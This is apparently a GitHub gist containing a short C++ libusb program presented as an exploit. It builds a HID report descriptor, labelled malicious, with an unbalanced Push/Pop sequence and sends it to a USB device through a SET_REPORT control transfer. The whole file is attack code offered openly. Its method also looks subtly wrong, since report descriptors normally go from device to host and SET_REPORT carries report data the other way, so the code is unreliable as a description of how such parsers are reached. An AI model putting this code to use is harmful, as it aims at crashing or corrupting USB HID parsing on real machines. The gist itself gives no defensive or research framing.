Last active
October 15, 2024 09:52
-
-
Save ntfargo/1fb27a90a5034ada0a2940931be49b49 to your computer and use it in GitHub Desktop.
test
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <libusb-1.0/libusb.h> | |
#include <iostream> | |
#include <cstring> | |
// Malicious HID descriptor with imbalanced push/pop operations | |
unsigned char malicious_hid_descriptor[] = { | |
0x05, 0x01, // Usage Page (Generic Desktop) | |
0x09, 0x02, // Usage (Mouse) | |
0xA1, 0x01, // Collection (Application) | |
0x85, 0x01, // Report ID (1) | |
0x09, 0x01, // Usage (Pointer) | |
0xA1, 0x00, // Collection (Physical) | |
0x05, 0x09, // Usage Page (Button) | |
0x19, 0x01, // Usage Minimum (Button 1) | |
0x29, 0x03, // Usage Maximum (Button 3) | |
0x15, 0x00, // Logical Minimum (0) | |
0x25, 0x01, // Logical Maximum (1) | |
0x75, 0x01, // Report Size (1) | |
0x95, 0x03, // Report Count (3) | |
0x81, 0x02, // Input (Data, Variable, Absolute) | |
0x75, 0x05, // Report Size (5) | |
0x95, 0x01, // Report Count (1) | |
0x81, 0x03, // Input (Constant, Variable, Absolute) | |
// Malicious push-pop imbalance | |
0xA4, // Push | |
0xB4, // Pop | |
0xB4, // Pop (imbalanced) | |
0xC0, // End Collection (Physical) | |
0xC0 // End Collection (Application) | |
}; | |
void send_malicious_hid_descriptor(libusb_device_handle *handle) { | |
int transferred = 0; | |
// Send the malicious HID descriptor to the device | |
int result = libusb_control_transfer(handle, | |
LIBUSB_REQUEST_TYPE_CLASS | LIBUSB_RECIPIENT_INTERFACE | LIBUSB_ENDPOINT_OUT, | |
0x09, // HID SET_REPORT | |
0x0300, // Report type (HID Report Descriptor) | |
0, // Interface number (0 for this example) | |
malicious_hid_descriptor, sizeof(malicious_hid_descriptor), 5000); | |
if (result < 0) { | |
std::cerr << "Error sending descriptor: " << libusb_error_name(result) << std::endl; | |
} else { | |
std::cout << "Malicious descriptor sent successfully!" << std::endl; | |
} | |
} | |
int main() { | |
libusb_context *context = nullptr; | |
libusb_device_handle *handle = nullptr; | |
// Initialize libusb | |
if (libusb_init(&context) < 0) { | |
std::cerr << "Failed to initialize libusb" << std::endl; | |
return -1; | |
} | |
// Open a USB device (replace with your USB device's Vendor ID and Product ID) | |
handle = libusb_open_device_with_vid_pid(context, 0x1234, 0x5678); | |
if (!handle) { | |
std::cerr << "Failed to open device" << std::endl; | |
libusb_exit(context); | |
return -1; | |
} | |
// Claim the interface | |
if (libusb_claim_interface(handle, 0) < 0) { | |
std::cerr << "Failed to claim interface" << std::endl; | |
libusb_close(handle); | |
libusb_exit(context); | |
return -1; | |
} | |
// Send the malicious HID descriptor | |
send_malicious_hid_descriptor(handle); | |
// Release the interface and close the device | |
libusb_release_interface(handle, 0); | |
libusb_close(handle); | |
libusb_exit(context); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment